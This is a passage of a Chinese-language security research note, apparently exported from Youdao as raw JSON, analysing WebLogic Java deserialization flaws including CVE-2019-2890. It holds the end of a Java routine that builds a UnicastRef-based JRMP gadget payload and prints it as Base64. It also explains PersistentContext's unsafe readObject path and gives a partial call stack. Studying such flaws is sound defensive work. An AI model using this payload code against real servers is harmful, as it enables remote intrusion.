RMIConnectionImpl_Stub(unicastRef);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Itzp-1677142944244&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YyEJ-1677142944243&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ReferenceWrapper_Stub object = new ReferenceWrapper_Stub(unicastRef);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jXY9-1677142944246&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FrDr-1677142944245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return stub;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R9b7-1677142944248&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1vlC-1677142944247&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Plks-1677142944250&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0hit-1677142944249&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IlfE-1677142944252&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vXZV-1677142944251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws IOException, ClassNotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BmcI-1677142944254&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oiox-1677142944253&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream fout = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZqAP-1677142944256&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6g1J-1677142944255&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bOdx-1677142944258&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;deSi-1677142944257&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.writeObject(getObject());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;z2bt-1677142944260&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jnb6-1677142944259&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZAzB-1677142944262&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ibQR-1677142944261&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;StsB-1677142944264&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hMnJ-1677142944263&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dTbh-1677142944266&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E49M-1677142944265&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(fout.toByteArray());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CiSl-1677142944268&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nhD0-1677142944267&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Np74-1677142944270&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kBUG-1677142944269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        inputStream.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tRGF-1677142944272&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BJbc-1677142944271&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OJGP-1677142944274&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7f5v-1677142944273&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dvS7-1677142944276&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VEoz-1677142944275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vCLX-1677142820778&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6093/WEBRESOURCEdc31792c20e9e5d37b1b923650896ba1&#34;,&#34;width&#34;:377,&#34;height&#34;:174},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6093/WEBRESOURCEdc31792c20e9e5d37b1b923650896ba1&#34;,&#34;initialSize&#34;:{&#34;width&#34;:377,&#34;height&#34;:694},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pmSh-1677142899209&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6095/WEBRESOURCE6a9918e2c9aca52c26109f0c170ba2aa&#34;,&#34;width&#34;:354,&#34;height&#34;:83},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6095/WEBRESOURCE6a9918e2c9aca52c26109f0c170ba2aa&#34;,&#34;initialSize&#34;:{&#34;width&#34;:354,&#34;height&#34;:282},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rrCg-1676858106009&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vqt5-1676858106007&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;其他可利用类就不赘述了。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;05Na-1682255233219&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V42C-1682255233217&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kyJ0-1682255233948&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i3cO-1682255233946&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2019-2890&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zfBC-1682254539526&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;o5pW-1682254540621&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wB1s-1682254539525&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 10.3.6.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8EGF-1682254539528&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;o5pW-1682254540621&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P5G9-1682254539527&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 12.1.3.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Z5a-1682254539530&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;o5pW-1682254540621&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Unxa-1682254539529&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 12.2.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fBuL-1682254539540&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TQbJ-1682254539539&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;问题出现在PersistentContext类上&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T591-1682254540635&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6603/WEBRESOURCE89f71f91778e0a74b8ec21f992bff40b&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6603/WEBRESOURCE89f71f91778e0a74b8ec21f992bff40b&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LfMq-1682254539543&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZRdd-1682254539542&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在PersistentContext的readObject方法中会将ObjectInputStream类的var1对象传入readSubject方法&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LRy9-1682254539545&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;l62E-1682254539544&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readSubject方法会先调用EncryptionUtil.decrypt()对传入的stream流进行解密，并将后续解密后的流量进行反序列化：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mJhg-1682254540637&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6614/WEBRESOURCEe0892f847bf45b815bc981de6c902f1a&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WI0U-1682254539548&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iBLY-1682254539547&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;由于此处为ObjectInputStream原生的readObject()，并未有其他的readObject重写实现，故在后续过程中能够成功触发恶意反序列化利用链（下图为jrmp利用链执行结果）&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Iuzg-1682254540638&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6615/WEBRESOURCEba5f5c20f24164213319e1ade774fe6f&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wBsI-1682254540639&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6616/WEBRESOURCE83698f04015758c7ef3bca109c087f85&#34;,&#34;width&#34;:1212,&#34;height&#34;:1034},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KDBW-1682254540640&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6617/WEBRESOURCE0f1ff644e552936efe38139179a3f350&#34;,&#34;width&#34;:1178,&#34;height&#34;:216},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PIJh-1682254539553&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OGT3-1682254539552&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;调用栈如下&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FGSS-1682254614066&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dYbb-1682254614065&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GRHv-1682254539554&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;registerRefs:155, DGCClient (sun.rmi.transport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R2QG-1682254614945&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ut3c-1682254614944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:312, LiveRef (sun.rmi.transport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VXSe-1682254614947&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Etrm-1682254614946&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternal:493, UnicastRef (sun.rmi.server)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ND4c-1682254614949&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tNV4-1682254614948&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:455, RemoteObject (java.rmi.server)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tjiq-1682254614951&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ctWT-1682254614950&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke0:-1, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U7rV-1682254614953&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bs3c-1682254614952&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:62, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CG6x-1682254614955&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gMpd-1682254614954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8DXS-1682254614957&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3wRp-1682254614956&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:498, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PBTg-1682254614959&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hKB7-1682254614958&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invokeReadObject:1058, ObjectStreamClass (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4Ey7-1682254614961&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7XWJ-1682254614960&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readSerialData:2122, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WLxP-1682254614963&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bHXj-1682254614962&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:2013, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ntZa-1682254614965&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;guaa-1682254614964&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1535, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kD6E-1682254614967&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;M708-1682254614966&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;defaultReadFields:2231, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iR8j-1682254614969&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VR1e-1682254614968&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readSerialData:2155, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t7hT-1682254614971&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I6A6-1682254614970&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:2013, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hQ8F-1682254614973&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JcMU-1682254614972&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1535, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XZEJ-1682254614975&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yaPc-1682254614974&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:422, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hf17-1682254614977&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0tsF-1682254614976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readSubject:168, PersistentContext (weblogic.wsee.jaxws.persistence)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rUES-1682254614979&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f01p-1682254614978&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:147, PersistentContext (weblogic.wsee.jaxws.persistence)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nP5a-1682254614981&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mKIS-1682254614980&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke0:-1, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q8cl-1682254614983&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xhH6-1682254614982&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:62, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2cmh-1682254614986&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FKst-1682254614985&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kmk1-1682254614988&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;axW1-1682254614987&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:498, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RERv-1682254614990&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tb5n-1682254614989&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invokeReadObject:1058, ObjectStreamClass (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jk6y-1682254614992&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kGoq-1682254614991&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readSerialData:2122, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qwi6-1682254614994&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fiyK-1682254614993&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:2013, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8GC7-1682254614996&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4L3u-1682254614995&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1535, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yqE7-1682254614998&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z2mF-1682254614997&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:422, ObjectInputStream 